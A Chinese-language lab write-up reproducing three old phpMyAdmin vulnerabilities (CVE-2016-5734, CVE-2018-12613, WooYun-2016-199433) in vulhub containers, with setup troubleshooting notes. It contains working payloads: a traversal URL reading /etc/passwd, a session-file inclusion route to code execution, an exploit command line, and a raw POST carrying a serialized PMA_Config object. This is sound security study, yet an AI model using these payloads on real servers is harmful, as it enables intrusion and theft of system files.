phpMyAdmin歷史漏洞復現

簡介

phpMyAdmin是一個非常受歡迎的基於web的MySQL資料庫管理工具。它能夠創建和刪除資料庫,創建/刪除/修改表格,刪除/編輯/新增欄位,執行SQL腳本等

復現三個古老漏洞

phpMyAdmin 4.0.x—4.6.2 遠程程式碼執行漏洞(CVE-2016-5734)

phpMyAdmin是一套開源的、基於Web的MySQL資料庫管理工具。在其查找並替換字元串功能中,將用戶輸入的資訊拼接進preg_replace函數第一個參數中。

以下版本受到影響:

  • 4.0.10.16之前4.0.x版本
  • 4.4.15.7之前4.4.x版本
  • 4.6.3之前4.6.x版本(實際上由於該版本要求PHP5.5+,所以無法復現本漏洞)

環境搭建

//github.com/vulhub/vulhub/blob/master/phpmyadmin/CVE-2016-5734/

遇到的一點問題:

  1. 埠佔用

Bind for 0.0.0.0:8080 failed: port is already allocated

容器佔用的port還沒有完全釋放

停止相應的docker容器進程即可

  1. 搭建完啟動後發現不能訪問

原因是tcp6協議的問題

解決方法:

vim /usr/lib/sysctl.d/00-system.conf

添加: net.ipv4.ip_forward=1

再重啟網路 systemctl restart network

(雖然還是tcp6,但能訪問了)

發現root/root登錄不進去emm

(搭建出錯了)

要在yml文件同目錄下傳配置文件

這樣搭建完成後root/root就登錄進去了

利用

POC: //www.exploit-db.com/exploits/40185

利用poc就可以執行遠程命令了

py payload.py -u username -p password -c command [url]

phpmyadmin 4.8.1 遠程文件包含漏洞(CVE-2018-12613)

影響版本 phpMyAdmin 4.8.0和4.8.1

環境搭建 //github.com/vulhub/vulhub/tree/master/phpmyadmin/CVE-2018-12613

phpMyAdmin是一套開源的、基於Web的MySQL資料庫管理工具。其index.php中存在一處文件包含邏輯,通過二次編碼即可繞過檢查,造成遠程文件包含漏洞。

(需要登陸後才能利用,有些雞肋)

訪問

//your-ip:8080/index.php?target=db_sql.php%3f/../../../../../../../../etc/passwd 可見/etc/passwd被讀取,說明文件包含漏洞存在:

利用方式:

可以執行一下SELECT '<?=phpinfo()?>';

然後查看自己的sessionid(cookie中phpMyAdmin的值)

然後包含session文件,實現遠程命令執行的效果

//192.168.230.131:8080/index.php?target=db_events.php?/../../../../../../../../tmp/sess_69e9f3167acefddc069ac7d250c7ddfc

WooYun-2016-199433 反序列化

影響版本: phpmyadmin 2.x版本

危害 : 任意文件讀取/遠程程式碼執行

環境搭建 //github.com/vulhub/vulhub/tree/master/phpmyadmin/WooYun-2016-199433

環境啟動後,訪問//your-ip:8080,即可看到phpmyadmin的首頁。因為沒有連接資料庫,所以此時會報錯,但我們這個漏洞的利用與資料庫無關,所以忽略。

抓包後 修改數據包為

POST /scripts/setup.php HTTP/1.1
Host: 192.168.230.131:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 80

action=test&configuration=O:10:"PMA_Config":1:{s:6:"source",s:11:"/etc/passwd";}

可以看到讀取了passwd文件